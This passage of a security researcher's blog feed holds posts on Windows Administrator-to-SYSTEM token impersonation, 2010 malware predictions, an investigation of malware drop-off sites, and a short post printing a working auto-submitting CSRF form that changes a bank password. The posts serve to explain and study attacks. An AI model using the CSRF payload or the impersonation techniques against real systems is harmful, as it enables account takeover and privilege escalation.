Presentation.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;EDIT : I've been informed that the Chinese law had changed its penalty regarding to hacking. Instead of death penalty a 3-7 years and/or a fine is given depends on the act.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-5295690087539898528?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/5295690087539898528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/02/china-vs-google-presentation-at.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/5295690087539898528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/5295690087539898528'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/02/china-vs-google-presentation-at.html' title='China vs. Google presentation at Microsoft R&amp;D'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-5125617667308205812</id><published>2010-01-09T15:37:00.004+02:00</published><updated>2011-08-23T11:59:37.986+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='privillege escalation'/><category scheme='http://www.blogger.com/atom/ns#' term='SYSTEM'/><category scheme='http://www.blogger.com/atom/ns#' term='SYSTEM ACCOUNT'/><category scheme='http://www.blogger.com/atom/ns#' term='NT AUTHORITY\SYSTEM'/><category scheme='http://www.blogger.com/atom/ns#' term='Administrator'/><title type='text'>Administrator account VS. SYSTEM account</title><content type='html'>&lt;table cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: left; margin-right: 1em; text-align: left;"&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://www.twitter.com/ihackbanme" imageanchor="1" style="clear: left; margin-bottom: 1em; margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="90" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s200/twitter_logo_on_black_bg_ap-1.jpg" width="120" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Follow me on twitter!&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&amp;nbsp;I've recently seen a trojan that ran as Administrator and yet tried to run privilege escalation exploit to gain SYSTEM (instead of using API to elevate the privileges from Administrator to SYSTEM).&lt;br /&gt;This is what made me write this post : &lt;br /&gt;&lt;br /&gt;Let's say there are 2 programs vulnerable to remote-code-execution bug.&lt;br /&gt;1. One is running as &lt;b&gt;SYSTEM&lt;/b&gt;&lt;br /&gt;2. One is running as &lt;b&gt;Administrator&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Little pre-post-information&lt;/b&gt; regarding exploitation : If you run your exploit against a process which runs as Administrator, Your payload will run as Administrator. If you run it against SYSTEM account your payload will run as SYSTEM account.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Which one you would want to exploit more?&lt;/b&gt;&lt;br /&gt;95% of &lt;b&gt;security people&lt;/b&gt;, will say : "the &lt;b&gt;SYSTEM &lt;/b&gt;one, off-course SYSTEM is much stronger than admin, it's the strongest user in the OS".&lt;br /&gt;&lt;b&gt;I'd say : it doesn't matter and I might slightly want to run as Admin instead of System&lt;/b&gt;. Why? This is what this blog-post is all about.&lt;br /&gt;&lt;br /&gt;First of all, Admin leads to SYSTEM, in relatively easy to use API. It's legally authorized by the OS, and Admin has the rights to impersonate as SYSTEM. Meaning admin can execute his payloads as SYSTEM.&lt;br /&gt;&lt;br /&gt;Do you remember the &lt;b&gt;AT &lt;/b&gt;(c:\windows\system32\at.exe) command? Its object is to run things through the Scheduler Service (as SYSTEM). But wait, how can it run things as SYSTEM? Does it work for every user in the OS? &lt;b&gt;even the non-administrative users? No&lt;/b&gt;.&lt;br /&gt;AT command only works for administrative users (Local Admin, Domain admins, or SYSTEM account himself). So it means that any administrative user can run command as SYSTEM. Let's see what AT.exe does :&lt;br /&gt;Quick reverse engineering will show us which function AT uses.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/S0iEdNKFS3I/AAAAAAAAAEQ/hQGyaBKJILI/s1600-h/at1.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/S0iEdNKFS3I/AAAAAAAAAEQ/hQGyaBKJILI/s640/at1.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The function AT uses to register in the scheduler service would be : NetScheduleJobAdd.&lt;br /&gt;Does it mean we can add jobs our self to run on localhost (127.0.0.1) as SYSTEM? &lt;b&gt;Yes &lt;/b&gt;(if you have rights, which any local/domain Administrator has).&lt;br /&gt;Didn't check it on the schtasks.exe, but it's probably same thing or other function, but the point is, Admin leads the way to SYSTEM.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;When you think about it, you need SYSTEM account in several occasions only, but when do you need administrator account?&lt;br /&gt;Well, Did it occur to you that you have hacked to a SYSTEM account in a pentest and wanted to get more information regarding&lt;b&gt; the user who runs this computer shares,&lt;/b&gt; the user folder mappings and stuff like that?&lt;br /&gt;If it did, than you know it would be best to use &lt;b&gt;Impersonation to Admin *EVEN* if you're already running as SYSTEM ("Downgrading your privileges")&lt;/b&gt; account and run a thread or another process as Admin.&lt;br /&gt;If you would do : net use/subst/other commands as SYSTEM &lt;b&gt;you wouldn't see the same results&lt;/b&gt; the Admin gets for the same commands (because of session separation).&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_Kde3g35OnUQ/S0iFYRc-VCI/AAAAAAAAAEY/m2Z5xp1rEh0/s1600-h/different_results.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_Kde3g35OnUQ/S0iFYRc-VCI/AAAAAAAAAEY/m2Z5xp1rEh0/s640/different_results.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Also, You'd be able to view remote shares as Admin (if the user running this computer has remote shares he sees), you'll be able to view them and have the same rights to them on a remote computer (without knowing/changing the Admin's password)! As SYSTEM you wouldn't have it. At all. bummer.&lt;br /&gt;&lt;br /&gt;There are very few times when I really need the SYSTEM account so I guess I'll want to be Admin-user in the first place and execute my shell again under SYSTEM account (only if needed), instead of running SYSTEM account and execute my shell as Admin if I needed.&lt;br /&gt;&lt;br /&gt;How do I createprocess under SYSTEM if I run as admin? Just get the Systemtoken, and impersonate to it.&lt;br /&gt;What is impersonation?&lt;br /&gt;Impersonation is the ability of a thread to&lt;br /&gt;execute using different security information than&lt;br /&gt;the process that owns the thread&lt;br /&gt;– Threads impersonate to run code under another user&lt;br /&gt;account, ACL checks are done against the&lt;br /&gt;impersonated users&lt;br /&gt;– Impersonation can only be done by processes&lt;br /&gt;with the following privilege:&lt;br /&gt;-...(SeImpersonatePrivilege)&lt;br /&gt;–When a thread impersonates it has an associated&lt;br /&gt;impersonation token&lt;br /&gt;&lt;br /&gt;An access token is an object that describes the&lt;br /&gt;security context of a process or thread&lt;br /&gt;– It includes the identity and privileges of the user&lt;br /&gt;account associated with the process or thread&lt;br /&gt;– They can be Primary or Impersonation tokens&lt;br /&gt;• Primary ones are those that are assigned to&lt;br /&gt;processes&lt;br /&gt;• Impersonation ones are those that can be get&lt;br /&gt;when impersonation occurs&lt;br /&gt;– Four impersonation levels: SecurityAnonymous,&lt;br /&gt;SecurityIdentity, SecurityImpersonation,&lt;br /&gt;SecurityDelegation&lt;br /&gt;&lt;br /&gt;Windows XP &amp;amp; 2003&lt;br /&gt;– An APC can be submitted to a thread&lt;br /&gt;• QueueUserAPC() can be called with&lt;br /&gt;ImpersonateSelf() as parameter&lt;br /&gt;• Thread starts to impersonate service account&lt;br /&gt;• Impersonation token is get by OpenThreadToken()&lt;br /&gt;• Token is used to access the process&lt;br /&gt;• Token handles are brute forced in target process&lt;br /&gt;until SYSTEM token is found&lt;br /&gt;• SYSTEM token is used to run code&lt;br /&gt;If a user can impersonate then game is over (my remark : every Admin user can impersonate to SYSTEM, which is the point of this post).&lt;br /&gt;• User can execute code as SYSTEM [my remark] which means ADMIN can *always* execute code as SYSTEM.&lt;br /&gt;&lt;br /&gt;Impersonate/token information is taken from : &lt;a href="http://www.argeniss.com/research/TokenKidnapping.pdf"&gt;http://www.argeniss.com/research/TokenKidnapping.pdf&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;I hope you understand now why SYSTEM isn't really stronger than Admin. And the next time someone tries to run privilege escalation if he's an Admin already, just explain to him that he doesn't have to do so to become system and he can use legit API to&amp;nbsp; run as SYSTEM.&lt;br /&gt;&lt;br /&gt;Have a great week!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-5125617667308205812?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/5125617667308205812/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2010/01/administrator-account-vs-system-account.html#comment-form' title='9 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/5125617667308205812'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/5125617667308205812'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2010/01/administrator-account-vs-system-account.html' title='Administrator account VS. SYSTEM account'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_Kde3g35OnUQ/TO2_TmMkMjI/AAAAAAAAAI8/acnxSYeXOdw/s72-c/twitter_logo_on_black_bg_ap-1.jpg' height='72' width='72'/><thr:total>9</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-1101652755576520767</id><published>2009-12-23T14:20:00.000+02:00</published><updated>2009-12-23T14:33:15.713+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='firefox'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='anti-virus'/><category scheme='http://www.blogger.com/atom/ns#' term='xbox360'/><category scheme='http://www.blogger.com/atom/ns#' term='consoles'/><category scheme='http://www.blogger.com/atom/ns#' term='conficker'/><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='sql injections'/><category scheme='http://www.blogger.com/atom/ns#' term='mebroot'/><category scheme='http://www.blogger.com/atom/ns#' term='predictions'/><category scheme='http://www.blogger.com/atom/ns#' term='pdf exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='ie'/><category scheme='http://www.blogger.com/atom/ns#' term='kaspersky'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='adobe'/><category scheme='http://www.blogger.com/atom/ns#' term='mac'/><category scheme='http://www.blogger.com/atom/ns#' term='trojans'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>My Security Assumptions to 2010</title><content type='html'>Hey there,&lt;br /&gt;I've seen many sites/people talk about their field of expertise predictions to 2010. I've decided to make my own &lt;strike&gt;predictions&lt;/strike&gt; assumptions (:)) regarding computer security in 2010.&lt;br /&gt;&lt;br /&gt;Here's my prediction :&lt;br /&gt;1. &lt;b&gt;Conficker&lt;/b&gt; - Updating itself through a new vulnerability, public or zero day. Through that, attacker s would be able to reach compromised computers using the Conficker P2P protocol which allows signed files by conficker writters to be shared in the same network. In my opinion, conficker was written much before the MS08-067 discovery. Conficker writers have finished the design of the worm and most of the code before the release of the MS08-067 and just waited for the right stable exploitable bug to come up. Like that, they will wait for the next one to come-up and reach most of the infected computers out there and start make profit out of it.&lt;br /&gt;&lt;a href="http://isc.sans.org/diary.html?storyid=5830"&gt;Nice conficker neat tricks from SANS diary&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;2. &lt;b&gt;First multi-vector attacking worm&lt;/b&gt; - Unlike many worms (even l0lworm) who has one or more attack vectors (p2p files, password guessing, remote exploits, etc), I think, in 2010 we'll encounter multi-vector attacking worm which will use many remote exploits to attack in the same network or world-wide. This worm will also be using other techniques already seen such as password guessing, file-infections for p2p files, Disk on Key infections, e-mail sending containing malicious pdf files, etc, etc, etc. One thing which I'm truly afraid from is bots used for sql-injections / brute-force attacks for websites and by that inserting malicious iframes/code for infecting great amount of websites which will infect tons of people. Lots of techniques in the same worm would be very very dangerous, I can see it coming.&lt;br /&gt;3. &lt;b&gt;Malicious writers wouldn't target low-level for widely spread trojan/worm/&lt;/b&gt;... . Why am I thinking positive about this one? Well, some stuff we've seen on 2008/2009 were mostly PoCs but not widely spread (except Mebroot). Virus writers want something that the end-user wouldn't notice, and spreading a wide low-level-changing payload on lots of people, will cause trouble to some of them. It's just not worth it.&lt;br /&gt;4. &lt;b&gt;Anti-Viruses &lt;/b&gt;- Kaspersky will remain the best anti-virus also in 2010. Symantec which currently far far behind and considered a joke among some of the security researchers will try harder this year, but still, it wouldn't be enough. Free anti-viruses will be still growing and gaining more installs.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/SzIDvhgkSKI/AAAAAAAAAEI/JswttnLK4f0/s1600-h/k.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/SzIDvhgkSKI/AAAAAAAAAEI/JswttnLK4f0/s320/k.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;5. &lt;b&gt;SQL Injections in big open-source platforms&lt;/b&gt; will be the main infection method in 2010 in my opinion (well, without taking in mind remote-exploits :)). Sites will be vulnerable to SQL Injections which will add client-side attacks in iframes/same page. Except of trying to get 1 site that will infect people, using widely spread sql injection in many sites running the same platform, malware writers would be able to exploit them all, without website's admin notice (most of the times) that his pages serves as infection pages.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://www.proxyutza.com/wp-content/uploads/2008/03/mcafee-iframe-trojan.GIF" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="240" src="http://www.proxyutza.com/wp-content/uploads/2008/03/mcafee-iframe-trojan.GIF" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;6. &lt;b&gt;Virus writers targeting Linux&lt;/b&gt; - Nope, not yet.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;7. &lt;b&gt;Virus writers targeting Mac&lt;/b&gt; - Not sure about that. I think this one will actually start getting more infections, but it's quite risky to say. (Unrelated) Although, one worm had spread recently using jail-broken default password for IPHONES. I think this year will be interesting to see regarding iphones and blackberrys.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;8. &lt;b&gt;Google &lt;/b&gt;- I think that by the end of this year the will open their own ISP/Service CALL Provider. Using their phones, they will allow free calls over the net from android phones to android phones, like BB messages, but in google's phones. Interesting to see a big competition to iphones and blackberrys.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://seo-dns.com/en/wp-content/uploads/2009/03/google-homepage.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="238" src="http://seo-dns.com/en/wp-content/uploads/2009/03/google-homepage.jpg" width="320" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;9. &lt;b&gt;Consoles &lt;/b&gt;- I think, this year, the PS3 might get hacked to run burnt copies of their games. Why? because Sony is losing money to Microsoft that made a really easy to crack system. Wait, What? are you saying that Sony will provide a way to run "back-up" cds? Not sure, they might. Probably in the next console they will not make that hard encryption, that's for sure (but that's not going to happen in 2010 as far as I know). I think there might be a chance of someone spreading a trojaned game for XBOX360 in one of those torrent sites. Before you know it, your XBOX360 will be a bot (I'm not sure it's possible with digital signatures and such, but if it is, I think it's a big risk).&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;10. &lt;b&gt;Vulnerabilities &lt;/b&gt;- &lt;b&gt;ADOBE &lt;/b&gt;will keep up the [sarcasm alert] good work [/sarcasm alert] being target for many security researchers (as well as the bad guys). &lt;b&gt;Windows &lt;/b&gt;will not be immune to remote &amp;amp; local exploits this year. Firefox/IE will definitely have some client-side failures which will be used on 2 and 5 above.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Hopefully you liked it,&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;That's the big things I think will happen in 2010, I've written it while I'm quite ill, but didn't want to miss the chance of posting it before 2010, so enjoy it and hopefully I will feel better tomorrow and the horrible stuff I've written and will delete it all. haha.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;Happy holidays.&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: left;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-1101652755576520767?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/1101652755576520767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2009/12/my-security-predictions-to-2010.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/1101652755576520767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/1101652755576520767'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2009/12/my-security-predictions-to-2010.html' title='My Security Assumptions to 2010'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_Kde3g35OnUQ/SzIDvhgkSKI/AAAAAAAAAEI/JswttnLK4f0/s72-c/k.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-9160939050083370828</id><published>2009-12-13T15:39:00.001+02:00</published><updated>2010-04-14T04:28:25.297+03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='drop-off sites'/><category scheme='http://www.blogger.com/atom/ns#' term='analysis'/><category scheme='http://www.blogger.com/atom/ns#' term='pdf exploits'/><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='trojan'/><category scheme='http://www.blogger.com/atom/ns#' term='obfuscated code'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='suspicious sites'/><category scheme='http://www.blogger.com/atom/ns#' term='malicious software'/><title type='text'>Tracking malware sites down</title><content type='html'>The trojaned-shellcode incident was behind me (&lt;a href="http://imthezuk.blogspot.com/2009/11/trojaned-shell-mystery-solved.html"&gt;read this&lt;/a&gt; first), but I've decided to check its payload and perhaps discover any zero-day being used in this infrastructure of malicious sites.I've taken the cached js that I got, and started to investigate them. This is what I got :This script is trying to contact different malicious sites :WARNING! DO NOT ATTEMPT TO GO INTO THOSE SITES, it's on your own risk.[I've switched the TEXTAREA to photo since AVAST interpret those lines as a false positive for a JS-Dropper, so I didn't want to scare anyone and will just upload SS of the code instead :)]&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_Kde3g35OnUQ/SytxcgCxgjI/AAAAAAAAADY/lOravGTMhYI/s1600-h/blogre1" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Kde3g35OnUQ/SytxcgCxgjI/AAAAAAAAADY/lOravGTMhYI/s640/blogre1" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;and it continues :&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://1.bp.blogspot.com/_Kde3g35OnUQ/Sytxgos9bNI/AAAAAAAAADg/dVBxbcjMZfo/s1600-h/blogre2" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_Kde3g35OnUQ/Sytxgos9bNI/AAAAAAAAADg/dVBxbcjMZfo/s640/blogre2" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;I've tried to enter each one of them, to get the code, and all I got was :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/SytyTf7IVGI/AAAAAAAAADo/YG8E8OpIhoM/s1600-h/blogre3" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/SytyTf7IVGI/AAAAAAAAADo/YG8E8OpIhoM/s640/blogre3" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;Which definitely looks &lt;b&gt;suspicious&lt;/b&gt;, so I've translated it to the following (you can do that most of the times by running the same code but instead of eval just write alert, this is the unobfuscated code&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/Syt0CzV2a_I/AAAAAAAAADw/w0YbuA2b5II/s1600-h/blogre4" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/Syt0CzV2a_I/AAAAAAAAADw/w0YbuA2b5II/s640/blogre4" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;So... Both sites&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/Syt1I8_DPQI/AAAAAAAAAD4/Q5Wl3N-oh0g/s1600-h/blogre5" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/Syt1I8_DPQI/AAAAAAAAAD4/Q5Wl3N-oh0g/s640/blogre5" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;are not working at the moment, Error 502 (Cannot find server or  DNS Error). So no more analysis can be done on my part, but it seems that  those sites had probably infected lots of people using some kind  of PDF exploit within embedded pdf file. Payload/shellcode or other exploit code would have downloaded to the sites through this line :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_Kde3g35OnUQ/Syt1i7MzRGI/AAAAAAAAAEA/lTFsertWGfw/s1600-h/blogre6" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_Kde3g35OnUQ/Syt1i7MzRGI/AAAAAAAAAEA/lTFsertWGfw/s640/blogre6" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Which didn't work at the moment as-well.So, too bad for me that those sites are not working at the moment because I can't analyze them now, but it's good for other internet users that are not getting infected by those drop-off sites.p.s,Entering to some of those sites seem that those sites had been reported suspicious and will give the following firefox error :&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_Kde3g35OnUQ/SyTyZOtMGTI/AAAAAAAAADQ/6bYxFzelnzk/s1600-h/ScreenHunter_06+Dec.+13+14.51.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_Kde3g35OnUQ/SyTyZOtMGTI/AAAAAAAAADQ/6bYxFzelnzk/s640/ScreenHunter_06+Dec.+13+14.51.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-9160939050083370828?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/9160939050083370828/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://imthezuk.blogspot.com/2009/12/tracking-malware-sites-down.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/9160939050083370828'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4772265063992204456/posts/default/9160939050083370828'/><link rel='alternate' type='text/html' href='http://imthezuk.blogspot.com/2009/12/tracking-malware-sites-down.html' title='Tracking malware sites down'/><author><name>Zuk</name><uri>http://www.blogger.com/profile/05696533480735906317</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='26' height='32' src='http://2.bp.blogspot.com/_Kde3g35OnUQ/TTjEyTlm55I/AAAAAAAAAJk/byPUDZSfMEg/S220/Screen%2Bshot%2B2011-01-19%2Bat%2B10.41.11%2BPM.png'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_Kde3g35OnUQ/SytxcgCxgjI/AAAAAAAAADY/lOravGTMhYI/s72-c/blogre1' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4772265063992204456.post-922905191703072301</id><published>2009-12-04T17:35:00.000+02:00</published><updated>2009-12-04T18:26:05.266+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SANS'/><category scheme='http://www.blogger.com/atom/ns#' term='using post in XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='SANS London 2009'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF'/><category scheme='http://www.blogger.com/atom/ns#' term='XSRF POST METHOD'/><title type='text'>using POST in XSRF</title><content type='html'>a friend of mine had asked me if it's possible to do an XSRF with POST message without server in the middle, then yes, it is :&lt;br /&gt;&lt;textarea cols=50 rows='5'&gt;&lt;form action="https://www.bank.com/PasswordChange" id="malicious" method="POST" name="malicious"&gt;&lt;input name="newpass" type="hidden" value="badguy" /&gt;&lt;/form&gt;&lt;script&gt;document.malicious.submit()&lt;/script&gt;&lt;/textarea&gt;&lt;br /&gt;&lt;br /&gt;Just add a post that isn't seen, and get the element of the button, press it yourself.&lt;br /&gt;You control the element, right? :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;p.s,&lt;br /&gt;I'm currently at SANS London 2009 event, if you're here, make sure you drop me a message :)&lt;br /&gt;&lt;br /&gt;Cheers.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4772265063992204456-922905191703072301?l=imthezuk.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://imthezuk.blogspot.com/feeds/922905191703072301/comments/default' title='Post Comments'/><link rel='replies' type='text/html' 